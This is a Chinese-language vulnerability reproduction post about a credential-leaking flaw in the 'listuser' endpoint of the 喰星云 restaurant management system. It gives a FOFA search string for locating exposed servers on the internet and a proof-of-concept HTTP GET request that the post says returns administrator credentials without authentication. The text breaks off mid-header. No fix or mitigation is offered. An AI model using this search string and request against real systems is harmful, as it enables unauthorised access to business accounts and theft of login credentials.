喰星云·数字化餐饮服务系统 listuser 信息泄露漏洞复现

0x01 产品简介

喰星云·数字化餐饮服务系统是一款专为餐饮企业设计的综合性管理软件，旨在通过信息化手段提升餐饮企业的运营效率、降低运营成本，并实现数据驱动的决策管理。该系统包括供应链管理、财务管理、巡店管理、人力资源管理等多个模块，可全面覆盖餐饮企业的日常运营需求。覆盖餐饮企业从采购、库存、销售到财务、人力资源等各个环节，实现一体化管理。

0x02 漏洞概述

喰星云·数字化餐饮服务系统 listuser 接口处存在信息泄露漏洞，未经身份验证的远程攻击者可利用此漏洞读取后台管理员账号密码登录凭证信息，导致后台权限被控，造成信息泄露，使系统处于极不安全的状态。

0x03 复现环境

FOFA：body="tmp_md5_pwd"

0x04 漏洞复现

PoC

GET /chainsales/head/user/listuser HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/53